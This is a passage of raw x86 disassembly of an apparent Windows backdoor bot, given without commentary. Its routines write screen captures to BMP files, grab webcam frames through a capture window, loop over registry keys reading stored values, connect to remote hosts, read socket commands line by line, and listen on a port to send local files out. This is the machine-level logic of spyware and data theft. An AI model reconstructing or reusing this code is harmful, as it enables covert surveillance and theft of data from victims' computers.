		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		call	dword_4E03D8	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_40FE0A
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		call	dword_4E03B4	; WriteFile
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		call	dword_4E03B4	; WriteFile
		cmp	ebx, esi
		jz	short loc_40FDEC
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E03B4	; WriteFile


loc_40FDEC:				; CODE XREF: sub_40FC06+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		call	dword_4E03B4	; WriteFile
		push	[ebp+arg_0]
		call	dword_4E032C	; CloseHandle
		xor	esi, esi
		inc	esi


loc_40FE0A:				; CODE XREF: sub_40FC06+1A2j
		push	[ebp+var_1C]
		call	dword_4D65C4	; DeleteObject
		push	[ebp+var_4]
		call	dword_4D6524	; DeleteDC
		mov	edi, [ebp+var_20]


loc_40FE1F:				; CODE XREF: sub_40FC06+70j
		push	edi
		call	dword_4D6524	; DeleteDC
		mov	eax, esi
		jmp	short loc_40FE3C
; ---------------------------------------------------------------------------


loc_40FE2A:				; CODE XREF: sub_40FC06+C7j
					; sub_40FC06+D9j ...
		push	edi
		call	dword_4D6524	; DeleteDC
		push	[ebp+var_4]
		call	dword_4D6524	; DeleteDC


loc_40FE3A:				; CODE XREF: sub_40FC06+23j
		xor	eax, eax


loc_40FE3C:				; CODE XREF: sub_40FC06+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FC06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FE41	proc near		; CODE XREF: sub_401C87+3339p

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		inc	esi
		xor	ebx, ebx
		push	esi
		push	dword_4DD3B0
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4D65B8
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_40FE7F
		mov	eax, esi
		jmp	loc_410035
; ---------------------------------------------------------------------------


loc_40FE7F:				; CODE XREF: sub_40FE41+35j
		push	edi
		call	dword_4D6608	; IsWindow
		test	eax, eax
		jz	short loc_40FE9C
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4D66C4	; SendMessageA
		jmp	short loc_40FE9E
; ---------------------------------------------------------------------------


loc_40FE9C:				; CODE XREF: sub_40FE41+47j
		xor	eax, eax


loc_40FE9E:				; CODE XREF: sub_40FE41+59j
		cmp	eax, ebx
		jnz	short loc_40FEA9


loc_40FEA2:				; CODE XREF: sub_40FE41+88j
					; sub_40FE41+BCj
		mov	ebx, esi
		jmp	loc_41002A
; ---------------------------------------------------------------------------


loc_40FEA9:				; CODE XREF: sub_40FE41+5Fj
		push	edi
		call	dword_4D6608	; IsWindow
		test	eax, eax
		jz	short loc_40FEC6
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4D66C4	; SendMessageA


loc_40FEC6:				; CODE XREF: sub_40FE41+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_40FEA2
		push	edi
		call	dword_4D6608	; IsWindow
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_40FEEC
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_4D66C4	; SendMessageA
		mov	[ebp+arg_4], eax
		jmp	short loc_40FEEF
; ---------------------------------------------------------------------------


loc_40FEEC:				; CODE XREF: sub_40FE41+98j
		mov	[ebp+arg_4], ebx


loc_40FEEF:				; CODE XREF: sub_40FE41+A9j
		push	[ebp+arg_4]
		call	sub_415090
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_40FEA2
		push	[ebp+arg_4]
		call	sub_415090
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_40FF16
		xor	ebx, ebx
		inc	ebx
		jmp	loc_41002A
; ---------------------------------------------------------------------------


loc_40FF16:				; CODE XREF: sub_40FE41+CBj
		push	[ebp+var_4]
		call	dword_4D6608	; IsWindow
		test	eax, eax
		jz	short loc_40FF33
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4D66C4	; SendMessageA


loc_40FF33:				; CODE XREF: sub_40FE41+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_419330
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_40FF4E
		mov	ecx, 280h


loc_40FF4E:				; CODE XREF: sub_40FE41+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_40FF5A
		mov	eax, 1E0h


loc_40FF5A:				; CODE XREF: sub_40FE41+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4D6608	; IsWindow
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_40FFA4
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4D66C4	; SendMessageA


loc_40FFA4:				; CODE XREF: sub_40FE41+153j
		push	[ebp+var_4]
		call	dword_4D6608	; IsWindow
		test	eax, eax
		jz	short loc_40FFC1
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_4D66C4	; SendMessageA


loc_40FFC1:				; CODE XREF: sub_40FE41+16Ej
		push	[ebp+var_4]
		call	dword_4D6608	; IsWindow
		test	eax, eax
		jz	short loc_40FFE0
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_4D66C4	; SendMessageA


loc_40FFE0:				; CODE XREF: sub_40FE41+18Bj
		push	[ebp+var_4]
		call	dword_4D6608	; IsWindow
		test	eax, eax
		jz	short loc_40FFFD
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4D66C4	; SendMessageA


loc_40FFFD:				; CODE XREF: sub_40FE41+1AAj
		push	[ebp+var_8]
		call	sub_415C20
		push	esi
		call	sub_415C20
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4D6608	; IsWindow
		test	eax, eax
		jz	short loc_41002A
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_4D66C4	; SendMessageA


loc_41002A:				; CODE XREF: sub_40FE41+63j
					; sub_40FE41+D0j ...
		push	[ebp+var_4]
		call	dword_4D6718	; DestroyWindow
		mov	eax, ebx


loc_410035:				; CODE XREF: sub_40FE41+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FE41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41003A	proc near		; CODE XREF: sub_401C87+33F4p

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		inc	esi
		xor	ebx, ebx
		push	esi
		push	dword_4DD3B0
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow_0 ; "Window"
		call	dword_4D65B8
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_410078
		mov	eax, esi
		jmp	loc_410274
; ---------------------------------------------------------------------------


loc_410078:				; CODE XREF: sub_41003A+35j
		push	edi
		call	dword_4D6608	; IsWindow
		test	eax, eax
		jz	short loc_410095
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4D66C4	; SendMessageA
		jmp	short loc_410097
; ---------------------------------------------------------------------------


loc_410095:				; CODE XREF: sub_41003A+47j
		xor	eax, eax


loc_410097:				; CODE XREF: sub_41003A+59j
		cmp	eax, ebx
		jnz	short loc_4100A2


loc_41009B:				; CODE XREF: sub_41003A+8Bj
					; sub_41003A+BCj
		mov	ebx, esi
		jmp	loc_41026B
; ---------------------------------------------------------------------------


loc_4100A2:				; CODE XREF: sub_41003A+5Fj
		push	edi
		call	dword_4D6608	; IsWindow
		test	eax, eax
		jz	short loc_4100C2
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4D66C4	; SendMessageA


loc_4100C2:				; CODE XREF: sub_41003A+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_41009B
		push	edi
		call	dword_4D6608	; IsWindow
		test	eax, eax
		jz	short loc_4100E5
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_4D66C4	; SendMessageA
		mov	[ebp+arg_4], eax
		jmp	short loc_4100E8
; ---------------------------------------------------------------------------


loc_4100E5:				; CODE XREF: sub_41003A+96j
		mov	[ebp+arg_4], ebx


loc_4100E8:				; CODE XREF: sub_41003A+A9j
		push	[ebp+arg_4]
		call	sub_415090
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41009B
		push	[ebp+arg_4]
		call	sub_415090
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_41010F
		xor	ebx, ebx
		inc	ebx
		jmp	loc_41026B
; ---------------------------------------------------------------------------


loc_41010F:				; CODE XREF: sub_41003A+CBj
		push	edi
		call	dword_4D6608	; IsWindow
		test	eax, eax
		jz	short loc_41012C
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	dword_4D66C4	; SendMessageA


loc_41012C:				; CODE XREF: sub_41003A+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_419330
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_410147
		mov	ecx, 0A0h


loc_410147:				; CODE XREF: sub_41003A+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_410151
		push	78h
		pop	eax


loc_410151:				; CODE XREF: sub_41003A+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4D6608	; IsWindow
		test	eax, eax
		jz	short loc_410196
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4D66C4	; SendMessageA


loc_410196:				; CODE XREF: sub_41003A+14Aj
		push	edi
		call	dword_4D6608	; IsWindow
		test	eax, eax
		jz	short loc_4101B3
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_4D66C4	; SendMessageA


loc_4101B3:				; CODE XREF: sub_41003A+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_4D6608	; IsWindow
		test	eax, eax
		jz	short loc_4101F1
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_4D66C4	; SendMessageA


loc_4101F1:				; CODE XREF: sub_41003A+1A3j
		push	edi
		call	dword_4D6608	; IsWindow
		test	eax, eax
		jz	short loc_41020C
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_4D66C4	; SendMessageA


loc_41020C:				; CODE XREF: sub_41003A+1C0j
		push	edi
		call	dword_4D6608	; IsWindow
		test	eax, eax
		jz	short loc_410225
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_4D66C4	; SendMessageA


loc_410225:				; CODE XREF: sub_41003A+1DBj
		push	edi
		call	dword_4D6608	; IsWindow
		test	eax, eax
		jz	short loc_410242
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4D66C4	; SendMessageA


loc_410242:				; CODE XREF: sub_41003A+1F4j
		push	[ebp+var_4]
		call	sub_415C20
		push	esi
		call	sub_415C20
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4D6608	; IsWindow
		test	eax, eax
		jz	short loc_41026B
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_4D66C4	; SendMessageA


loc_41026B:				; CODE XREF: sub_41003A+63j
					; sub_41003A+D0j ...
		push	edi
		call	dword_4D6718	; DestroyWindow
		mov	eax, ebx


loc_410274:				; CODE XREF: sub_41003A+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41003A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410279	proc near		; CODE XREF: sub_401C87+20B3p

var_3F0		= byte ptr -3F0h
var_2EC		= byte ptr -2ECh
var_EC		= byte ptr -0ECh
var_6C		= byte ptr -6Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F0h
		push	edi
		xor	edi, edi
		cmp	off_4428FC, edi
		mov	[ebp+var_8], 80h
		jz	loc_410429
		push	ebx
		push	esi
		mov	eax, offset off_4428FC
		mov	esi, offset dword_442908


loc_4102A4:				; CODE XREF: sub_410279+1A8j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	edi
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_4D66D8	; RegOpenKeyExA
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_EC]
		push	eax
		push	edi
		push	edi
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_4D6568	; RegQueryValueExA
		test	eax, eax
		jnz	loc_410410
		mov	eax, [esi]
		cmp	eax, edi
		jz	loc_4103D0
		push	eax
		lea	eax, [ebp+var_EC]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	offset dword_442D30
		push	eax
		call	sub_417CB0
		lea	eax, [ebp+var_3F0]
		push	(offset	aSr+2)
		push	eax
		call	sub_4176E0
		mov	ebx, eax
		add	esp, 18h
		cmp	ebx, edi
		jz	loc_410410
		jmp	short loc_41032F
; ---------------------------------------------------------------------------


loc_41031D:				; CODE XREF: sub_410279+C7j
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_6C]
		push	eax
		call	sub_417E00
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410347


loc_41032F:				; CODE XREF: sub_410279+A2j
		push	ebx
		lea	eax, [ebp+var_6C]
		push	64h
		push	eax
		call	sub_4186C0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41031D
		jmp	loc_4103C7
; ---------------------------------------------------------------------------


loc_410347:				; CODE XREF: sub_410279+B4j
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_418970
		pop	ecx
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_6C]
		jz	short loc_41038A
		push	(offset	aSr+4)
		push	eax
		call	sub_418AC0
		push	(offset	aSr+6)
		push	edi
		call	sub_418AC0
		push	eax
		lea	eax, [ebp+var_2EC]
		push	dword ptr [esi-4]
		push	offset dword_442D3C
		push	eax
		call	sub_417CB0
		add	esp, 20h
		jmp	short loc_4103A2
; ---------------------------------------------------------------------------


loc_41038A:				; CODE XREF: sub_410279+DFj
		push	eax
		lea	eax, [ebp+var_2EC]
		push	dword ptr [esi-4]
		push	offset dword_442D54
		push	eax
		call	sub_417CB0
		add	esp, 10h


loc_4103A2:				; CODE XREF: sub_410279+10Fj
		push	edi
		lea	eax, [ebp+var_2EC]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40764A
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_40F927
		add	esp, 18h


loc_4103C7:				; CODE XREF: sub_410279+C9j
		push	ebx
		call	sub_414F40
		pop	ecx
		jmp	short loc_410410
; ---------------------------------------------------------------------------


loc_4103D0:				; CODE XREF: sub_410279+65j
		lea	eax, [ebp+var_EC]
		push	eax
		lea	eax, [ebp+var_2EC]
		push	dword ptr [esi-4]
		push	offset dword_442D6C
		push	eax
		call	sub_417CB0
		push	edi
		lea	eax, [ebp+var_2EC]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40764A
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_40F927
		add	esp, 28h


loc_410410:				; CODE XREF: sub_410279+5Bj
					; sub_410279+9Cj ...
		push	[ebp+var_4]
		call	dword_4D6644	; RegCloseKey
		add	esi, 18h
		lea	eax, [esi-0Ch]
		cmp	[eax], edi
		jnz	loc_4102A4
		pop	esi
		pop	ebx


loc_410429:				; CODE XREF: sub_410279+19j
		pop	edi
		leave
		retn
sub_410279	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41042C	proc near		; CODE XREF: sub_4104B2+33p
					; sub_410A18+BCp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4D66E8	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_4104A8
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417700
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4D6668	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4D66A8	; inet_addr
		cmp	eax, esi
		jnz	short loc_41048D
		push	[ebp+arg_0]
		call	dword_4D66EC	; gethostbyname
		test	eax, eax
		jz	short loc_4104A8
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_41048D:				; CODE XREF: sub_41042C+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4D6610	; connect
		cmp	eax, esi
		jnz	short loc_4104AC
		push	edi
		call	dword_4D6700	; closesocket


loc_4104A8:				; CODE XREF: sub_41042C+1Bj
					; sub_41042C+58j
		mov	eax, esi
		jmp	short loc_4104AE
; ---------------------------------------------------------------------------


loc_4104AC:				; CODE XREF: sub_41042C+73j
		mov	eax, edi


loc_4104AE:				; CODE XREF: sub_41042C+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_41042C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4104B2	proc near		; DATA XREF: sub_401C87+9EDo

var_11B4	= byte ptr -11B4h
var_1B4		= byte ptr -1B4h
var_1AC		= byte ptr -1ACh
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 11B4h
		call	sub_4181D0
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1B4]
		rep movsd
		push	[ebp+var_14]
		xor	esi, esi
		inc	esi
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_41042C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_410545
		lea	eax, [ebp+var_11B4]
		push	offset unk_442D84
		push	eax
		call	sub_417CB0
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_410528
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40764A
		add	esp, 14h


loc_410528:				; CODE XREF: sub_4104B2+59j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40F927
		push	[ebp+var_10]
		call	sub_409979
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4E03A0	; ExitThread


loc_410545:				; CODE XREF: sub_4104B2+3Fj
		push	offset dword_4DD3CC
		push	ebx
		call	sub_413DAC
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_4105B0
		lea	eax, [ebp+var_11B4]
		push	offset unk_442DA8
		push	eax
		call	sub_417CB0
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_41058C
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40764A
		add	esp, 14h


loc_41058C:				; CODE XREF: sub_4104B2+BDj
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40F927
		pop	ecx
		push	ebx
		call	dword_4D6700	; closesocket
		push	[ebp+var_10]
		call	sub_409979
		pop	ecx
		push	esi
		call	dword_4E03A0	; ExitThread


loc_4105B0:				; CODE XREF: sub_4104B2+A3j
		push	64h
		call	dword_4E033C	; Sleep
		xor	edi, edi
		mov	esi, 1000h


loc_4105BF:				; CODE XREF: sub_4104B2+168j
		push	esi
		lea	eax, [ebp+var_11B4]
		push	edi
		push	eax
		call	sub_417700
		add	esp, 0Ch
		lea	eax, [ebp+var_11B4]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4D6680	; recv
		test	eax, eax
		jle	short loc_41061C
		lea	eax, [ebp+var_11B4]
		push	offset asc_442DD8 ; "\n"
		push	eax
		call	sub_418880
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_413B98
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41061C
		push	64h
		call	dword_4E033C	; Sleep
		push	0Ah
		call	sub_4098A5
		test	eax, eax
		pop	ecx
		jnz	short loc_4105BF


loc_41061C:				; CODE XREF: sub_4104B2+130j
					; sub_4104B2+154j
		lea	eax, [ebp+var_11B4]
		push	offset unk_442DDC
		push	eax
		call	sub_417CB0
		cmp	[ebp+var_8], edi
		pop	ecx
		pop	ecx
		jnz	short loc_41064F
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40764A
		add	esp, 14h


loc_41064F:				; CODE XREF: sub_4104B2+180j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40F927
		pop	ecx
		push	ebx
		call	dword_4D6700	; closesocket
		push	[ebp+var_10]
		call	sub_409979
		pop	ecx
		push	edi
		call	dword_4E03A0	; ExitThread
sub_4104B2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410673	proc near		; DATA XREF: sub_401C87+3726o

var_A04		= byte ptr -0A04h
var_604		= byte ptr -604h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_3FC		= byte ptr -3FCh
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
var_1E0		= byte ptr -1E0h
var_DC		= byte ptr -0DCh
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1FC]
		rep movsd
		xor	ebx, ebx
		xor	esi, esi
		inc	ebx
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp+var_10], esi
		mov	[ebp+var_C], esi
		mov	[ebp+var_20], esi
		call	dword_4D66E8	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_18], edi
		jnz	short loc_4106C1
		push	offset unk_442E10
		jmp	loc_41087A
; ---------------------------------------------------------------------------


loc_4106C1:				; CODE XREF: sub_410673+42j
		push	10h
		lea	eax, [ebp+var_30]
		push	esi
		push	eax
		call	sub_417700
		add	esp, 0Ch
		mov	[ebp+var_30], 2
		push	esi
		call	dword_4D6668	; ntohs
		mov	word ptr [ebp+var_2E], ax
		lea	eax, [ebp+var_30]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_2E+2],	esi
		call	dword_4D6694	; bind
		test	eax, eax
		jz	short loc_4106FF
		push	offset unk_442E34
		jmp	loc_41087A
; ---------------------------------------------------------------------------


loc_4106FF:				; CODE XREF: sub_410673+80j
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_1C], 10h
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		push	edi
		call	dword_4D660C	; getsockname
		push	[ebp+var_2E]
		call	dword_4D6598	; ntohs
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_1E0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_414EC0
		pop	ecx


loc_410731:				; CODE XREF: sub_410673+EFj
		mov	ecx, [ebp+arg_0]
		mov	al, [ebp+ecx+var_1E0]
		cmp	al, 20h
		jnz	short loc_410744
		push	5Fh
		pop	eax
		jmp	short loc_410747
; ---------------------------------------------------------------------------


loc_410744:				; CODE XREF: sub_410673+CAj
		movsx	eax, al


loc_410747:				; CODE XREF: sub_410673+CFj
		mov	[ebp+ecx+var_604], al
		lea	eax, [ebp+var_1E0]
		inc	ecx
		push	eax
		mov	[ebp+arg_0], ecx
		call	sub_414EC0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jbe	short loc_410731
		push	ebx
		push	edi
		call	dword_4D6690	; listen
		test	eax, eax
		jz	short loc_41077A
		push	offset unk_442E58
		jmp	loc_41087A
; ---------------------------------------------------------------------------


loc_41077A:				; CODE XREF: sub_410673+FBj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp+var_1E0]
		push	80000000h
		push	eax
		call	dword_4E03D8	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_4107A4
		push	offset unk_442E7C
		jmp	loc_41087A
; ---------------------------------------------------------------------------


loc_4107A4:				; CODE XREF: sub_410673+125j
		push	esi
		push	eax
		call	dword_4E03D4	; GetFileSize
		mov	[ebp+arg_0], eax
		push	eax
		movzx	eax, word ptr [ebp+var_4]
		push	eax
		push	[ebp+var_1FC]
		call	sub_408882
		pop	ecx
		push	eax
		call	dword_4D66A8	; inet_addr
		push	eax
		call	dword_4D6664	; ntohl
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_442E9C
		push	eax
		call	sub_417CB0
		push	esi
		lea	eax, [ebp+var_3FC]
		push	esi
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40764A
		add	esp, 2Ch
		lea	eax, [ebp+var_38]
		mov	[ebp+var_38], 3Ch
		mov	[ebp+var_34], esi
		push	eax
		push	esi
		lea	eax, [ebp+var_500]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_4FC], edi
		mov	[ebp+var_500], ebx
